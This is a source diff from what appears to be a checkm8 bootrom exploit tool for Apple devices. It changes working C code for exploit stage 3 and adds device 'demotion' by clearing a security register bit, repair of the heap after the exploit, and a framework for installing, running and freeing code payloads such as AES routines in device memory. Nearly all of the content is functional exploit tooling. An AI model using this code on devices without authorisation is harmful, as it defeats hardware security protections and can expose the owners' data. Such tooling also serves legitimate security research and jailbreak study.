@@ -205,7 +205,7 @@ struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int na
|
||||
return command(dev, (unsigned char *) cmd_args, (1 + nargs) * sizeof(unsigned long long), 16 + response_len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len)
|
||||
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_read_memory(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
long long index = 0, amount;
|
||||
@@ -254,7 +254,7 @@ struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, i
|
||||
return ret;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_write_memory(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
|
||||
|
||||
@@ -1,12 +1,14 @@
|
||||
#include "checkm8.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "usb_helpers.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "tool/usb_helpers.h"
|
||||
#include "tool/command.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
static unsigned char data_0xA_0xC0_buf[192] =
|
||||
{
|
||||
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
|
||||
@@ -148,6 +150,12 @@ int stage3_function(struct pwned_device *dev)
|
||||
|
||||
checkm8_debug_indent("exploit stage 3\n");
|
||||
FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
|
||||
if(overwrite_file == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open overwrite file\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
fseek(overwrite_file, 0, SEEK_END);
|
||||
ow_len = ftell(overwrite_file);
|
||||
rewind(overwrite_file);
|
||||
@@ -157,6 +165,12 @@ int stage3_function(struct pwned_device *dev)
|
||||
fclose(overwrite_file);
|
||||
|
||||
FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
|
||||
if(payload_file == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open payload file\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
fseek(payload_file, 0, SEEK_END);
|
||||
pl_len = ftell(payload_file);
|
||||
rewind(payload_file);
|
||||
@@ -289,6 +303,217 @@ struct pwned_device *exploit_device()
|
||||
}
|
||||
}
|
||||
|
||||
int demote_device(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("demote_device(dev = %p)\n", dev);
|
||||
unsigned int oldval, newval;
|
||||
int retval;
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_block("\tfailed to read demotion reg\n");
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
oldval = *((unsigned int *) resp->data);
|
||||
free_dev_cmd_resp(resp);
|
||||
if(!(oldval & 1u))
|
||||
{
|
||||
checkm8_debug_block("\tdevice already demoted\n");
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
oldval &= 0xFFFFFFFE;
|
||||
|
||||
checkm8_debug_indent("\tattempting to demote device\n");
|
||||
resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_block("\tfailed to write to demotion reg\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
// verify
|
||||
resp = dev_read_memory(dev, DEMOTE_REG, 4);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_block("\tfailed to verify demotion reg\n");
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
newval = *((unsigned int *) resp->data);
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
if(oldval == newval)
|
||||
{
|
||||
checkm8_debug_block("\tdemotion success!\n");
|
||||
retval = CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
checkm8_debug_block("\tdemotion register did not change!\n");
|
||||
retval = CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(close_device_session(dev)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to close device session\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
|
||||
int fix_heap(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||
struct heap_header block;
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
unsigned long long curr = ADDR_HEAP_BASE;
|
||||
unsigned long long calc_args[5];
|
||||
int ret, i;
|
||||
|
||||
#if CHECKM8_PLATFORM == 8010
|
||||
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
|
||||
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
|
||||
|
||||
memset(&block, 0, sizeof(struct heap_header));
|
||||
block.curr_size = (0x80 / 0x40);
|
||||
block.pad_start = 0x80;
|
||||
|
||||
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||
//calc_args[1-2] block specific
|
||||
calc_args[3] = 32;
|
||||
calc_args[4] = ADDR_HEAP_COOKIE;
|
||||
|
||||
for(i = 0; i < 3; i++)
|
||||
{
|
||||
block.prev_size = prev_sizes[i];
|
||||
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write block %i header\n", i);
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
|
||||
memcpy(&block, resp->data, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
|
||||
return ret;
|
||||
}
|
||||
|
||||
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
|
||||
{
|
||||
block.curr_size -= 1;
|
||||
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
block.prev_free = block.curr_free;
|
||||
block.prev_size = block.curr_size;
|
||||
block.curr_free = 0;
|
||||
block.curr_size = 1;
|
||||
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
|
||||
(unsigned char *) &block, sizeof(struct heap_header));
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write last block header\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
|
||||
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
|
||||
calc_args[3] = 32;
|
||||
resp = dev_exec(dev, 0, 5, calc_args);
|
||||
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
curr += block.curr_size * 0x40;
|
||||
}
|
||||
|
||||
#else
|
||||
#error "Can't fix heap for unknown platform"
|
||||
#endif
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
void free_device(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("free_device(dev = %p)\n", dev);
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#include "payload.h"
|
||||
#include "tool/payload.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/command.h"
|
||||
#include "tool/libpayload.h"
|
||||
|
||||
#include "libpayload.h"
|
||||
#include "dev/addr.h"
|
||||
|
||||
struct payload
|
||||
{
|
||||
@@ -15,11 +15,22 @@ struct payload
|
||||
const unsigned char *data;
|
||||
int len;
|
||||
|
||||
long long install_base;
|
||||
DEV_PTR_T install_base;
|
||||
DEV_PTR_T async_base;
|
||||
|
||||
struct payload *next;
|
||||
struct payload *prev;
|
||||
};
|
||||
|
||||
struct data
|
||||
{
|
||||
DEV_PTR_T addr;
|
||||
int len;
|
||||
|
||||
struct data *next;
|
||||
struct data *prev;
|
||||
};
|
||||
|
||||
struct payload *get_payload(PAYLOAD_T p)
|
||||
{
|
||||
struct payload *res;
|
||||
@@ -28,19 +39,34 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
|
||||
switch(p)
|
||||
{
|
||||
case PAYLOAD_AES:
|
||||
pl = payload_aes;
|
||||
len = PAYLOAD_AES_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES_BUSY:
|
||||
pl = payload_aes_busy;
|
||||
len = PAYLOAD_AES_BUSY_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES_SW:
|
||||
pl = payload_aes_sw;
|
||||
len = PAYLOAD_AES_SW_SZ;
|
||||
case PAYLOAD_AES_SW_BERN:
|
||||
pl = payload_aes_sw_bern;
|
||||
len = PAYLOAD_AES_SW_BERN_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_AES_SW_CORR:
|
||||
pl = payload_aes_sw_corr;
|
||||
len = PAYLOAD_AES_SW_CORR_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_CACHELIB:
|
||||
pl = payload_cachelib;
|
||||
len = PAYLOAD_CACHELIB_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_EXIT_USB_TASK:
|
||||
pl = payload_exit_usb_task;
|
||||
len = PAYLOAD_EXIT_USB_TASK_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_FLOPPYSLEEP:
|
||||
pl = payload_floppysleep;
|
||||
len = PAYLOAD_FLOPPYSLEEP_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_SYNC:
|
||||
@@ -48,16 +74,6 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
len = PAYLOAD_SYNC_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_SYSREG:
|
||||
pl = payload_sysreg;
|
||||
len = PAYLOAD_SYSREG_SZ;
|
||||
break;
|
||||
|
||||
case PAYLOAD_TASK_SLEEP_TEST:
|
||||
pl = payload_task_sleep_test;
|
||||
len = PAYLOAD_TASK_SLEEP_TEST_SZ;
|
||||
break;
|
||||
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
@@ -69,32 +85,18 @@ struct payload *get_payload(PAYLOAD_T p)
|
||||
res->type = p;
|
||||
res->len = len;
|
||||
res->data = pl;
|
||||
res->install_base = -1;
|
||||
res->install_base = DEV_PTR_NULL;
|
||||
res->async_base = DEV_PTR_NULL;
|
||||
res->next = NULL;
|
||||
res->prev = NULL;
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void free_payload(struct payload *p)
|
||||
{
|
||||
free(p);
|
||||
}
|
||||
|
||||
long long curr_address = 0x180150000;
|
||||
long long get_address(struct pwned_device *dev, LOCATION_T l)
|
||||
{
|
||||
//TODO: make an actual memory allocator
|
||||
long long ret = curr_address;
|
||||
curr_address += 0x1000;
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
struct payload *curr;
|
||||
for(curr = dev->installed; curr != NULL; curr = curr->next)
|
||||
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
|
||||
{
|
||||
if(curr->type == p) return curr;
|
||||
}
|
||||
@@ -105,14 +107,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
struct payload *curr;
|
||||
if(dev->installed == NULL)
|
||||
if(dev->inst_pl == NULL)
|
||||
{
|
||||
dev->installed = pl;
|
||||
dev->inst_pl = pl;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
|
||||
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
|
||||
|
||||
curr->next = pl;
|
||||
pl->prev = curr;
|
||||
@@ -120,21 +122,125 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||
}
|
||||
}
|
||||
|
||||
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||
{
|
||||
if(dev->installed == pl)
|
||||
if(dev->inst_pl == pl)
|
||||
{
|
||||
dev->installed = NULL;
|
||||
dev->inst_pl = pl->next;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
pl->prev->next = pl->next;
|
||||
pl->next->prev = pl->prev;
|
||||
if(pl->next != NULL)
|
||||
pl->next->prev = pl->prev;
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||
{
|
||||
struct data *curr;
|
||||
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
|
||||
{
|
||||
if(curr->addr == addr) return curr;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int dev_link_data(struct pwned_device *dev, struct data *data)
|
||||
{
|
||||
struct data *curr;
|
||||
if(dev->inst_data == NULL)
|
||||
{
|
||||
dev->inst_data = data;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
|
||||
|
||||
curr->next = data;
|
||||
data->prev = curr;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
int dev_unlink_data(struct pwned_device *dev, struct data *data)
|
||||
{
|
||||
if(dev->inst_data == data)
|
||||
{
|
||||
dev->inst_data = data->next;
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
data->prev->next = data->next;
|
||||
if(data->next != NULL)
|
||||
data->next->prev = data->prev;
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
|
||||
{
|
||||
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
|
||||
DEV_PTR_T retval;
|
||||
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
|
||||
struct data *new_entry;
|
||||
|
||||
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_indent("\tfailed to malloc an address\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
retval = resp->retval;
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
new_entry = malloc(sizeof(struct data));
|
||||
new_entry->addr = retval;
|
||||
new_entry->len = len;
|
||||
new_entry->prev = NULL;
|
||||
new_entry->next = NULL;
|
||||
dev_link_data(dev, new_entry);
|
||||
|
||||
checkm8_debug_indent("\tgot address %llX\n", retval);
|
||||
return retval;
|
||||
}
|
||||
|
||||
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct data *entry;
|
||||
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
|
||||
|
||||
entry = dev_retrieve_data(dev, ptr);
|
||||
if(entry == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
resp = dev_exec(dev, 0, 2, free_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
free_dev_cmd_resp(resp);
|
||||
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
dev_unlink_data(dev, entry);
|
||||
free(entry);
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
{
|
||||
@@ -142,7 +248,7 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
|
||||
struct dev_cmd_resp *resp = NULL;
|
||||
struct payload *pl = get_payload(p);
|
||||
long long addr = get_address(dev, loc);
|
||||
DEV_PTR_T addr = get_address(dev, loc, pl->len);
|
||||
|
||||
if(pl == NULL || addr == -1)
|
||||
{
|
||||
@@ -167,13 +273,60 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||
|
||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
//TODO: free memory in memory allocator
|
||||
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
|
||||
struct payload *pl = dev_retrieve_payload(dev, p);
|
||||
|
||||
if(pl == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tinvalid args (payload)\n");
|
||||
return CHECKM8_FAIL_INVARGS;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
dev_unlink_payload(dev, pl);
|
||||
free(pl);
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
int uninstall_all_payloads(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
|
||||
int ret;
|
||||
while(dev->inst_pl != NULL)
|
||||
{
|
||||
ret = uninstall_payload(dev, dev->inst_pl->type);
|
||||
if(IS_CHECKM8_FAIL(ret))
|
||||
{
|
||||
checkm8_debug_indent("\terror while uninstalling\n");
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
struct payload *pl = dev_retrieve_payload(dev, p);
|
||||
if(pl == NULL)
|
||||
{
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return pl->install_base;
|
||||
}
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, nargs = %i, ...)\n", dev, p, nargs);
|
||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
|
||||
dev, p, response_len, nargs);
|
||||
int i;
|
||||
struct dev_cmd_resp *resp;
|
||||
struct payload *pl;
|
||||
@@ -202,19 +355,215 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
||||
return dev_exec(dev, response_len, nargs + 1, args);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len)
|
||||
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
|
||||
dev, p, bufsize, bufsize, nargs);
|
||||
int i;
|
||||
struct dev_cmd_resp *resp;
|
||||
struct payload *pl;
|
||||
DEV_PTR_T buf_addr;
|
||||
unsigned long long buf_args[nargs], task_args[5];
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
|
||||
if(bufsize < nargs * sizeof(unsigned long long))
|
||||
{
|
||||
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
|
||||
bufsize = nargs * sizeof(unsigned long long);
|
||||
}
|
||||
|
||||
buf_addr = get_address(dev, SRAM, bufsize);
|
||||
if(buf_addr == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
va_list arg_list;
|
||||
va_start(arg_list, nargs);
|
||||
for(i = 0; i < nargs; i++)
|
||||
{
|
||||
buf_args[i] = va_arg(arg_list, unsigned long long);
|
||||
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
|
||||
}
|
||||
va_end(arg_list);
|
||||
|
||||
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
task_args[0] = ADDR_TASK_NEW;
|
||||
task_args[1] = 0x10001943b; // todo: name pointer
|
||||
task_args[2] = pl->install_base;
|
||||
task_args[3] = buf_addr;
|
||||
task_args[4] = 0x4000;
|
||||
|
||||
resp = dev_exec(dev, 0, 5, task_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to create a new task\n");
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
pl->async_base = resp->retval;
|
||||
free_dev_cmd_resp(resp);
|
||||
return buf_addr;
|
||||
}
|
||||
|
||||
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
|
||||
struct payload *pl;
|
||||
struct dev_cmd_resp *resp;
|
||||
unsigned long long args[2];
|
||||
int retval;
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed!\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
if(pl->async_base == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
args[0] = ADDR_TASK_RUN;
|
||||
args[1] = pl->async_base;
|
||||
|
||||
resp = dev_exec(dev, 0, 2, args);
|
||||
retval = resp->ret;
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
return retval;
|
||||
}
|
||||
|
||||
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
|
||||
{
|
||||
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
|
||||
struct payload *pl;
|
||||
struct dev_cmd_resp *resp;
|
||||
unsigned long long args[2];
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
if(pl->async_base == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tasync payload is not set up correctly\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
args[0] = ADDR_TASK_FREE;
|
||||
args[1] = pl->async_base;
|
||||
|
||||
resp = dev_exec(dev, 0, 2, args);
|
||||
pl->async_base = DEV_PTR_NULL;
|
||||
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to kill payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to free shared buffer\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
|
||||
struct dev_cmd_resp *resp;
|
||||
DEV_PTR_T addr = get_address(dev, loc, len);
|
||||
|
||||
if(addr == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get an address\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\twriting data to address %X\n", addr);
|
||||
resp = dev_write_memory(dev, addr, data, len);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write data\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return addr;
|
||||
}
|
||||
|
||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
|
||||
return free_address(dev, SRAM, addr);
|
||||
}
|
||||
|
||||
int uninstall_all_data(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
|
||||
int retval;
|
||||
|
||||
while(dev->inst_data != NULL)
|
||||
{
|
||||
retval = uninstall_data(dev, dev->inst_data->addr);
|
||||
if(IS_CHECKM8_FAIL(retval))
|
||||
{
|
||||
checkm8_debug_indent("\terror while uninstalling data\n");
|
||||
return retval;
|
||||
}
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
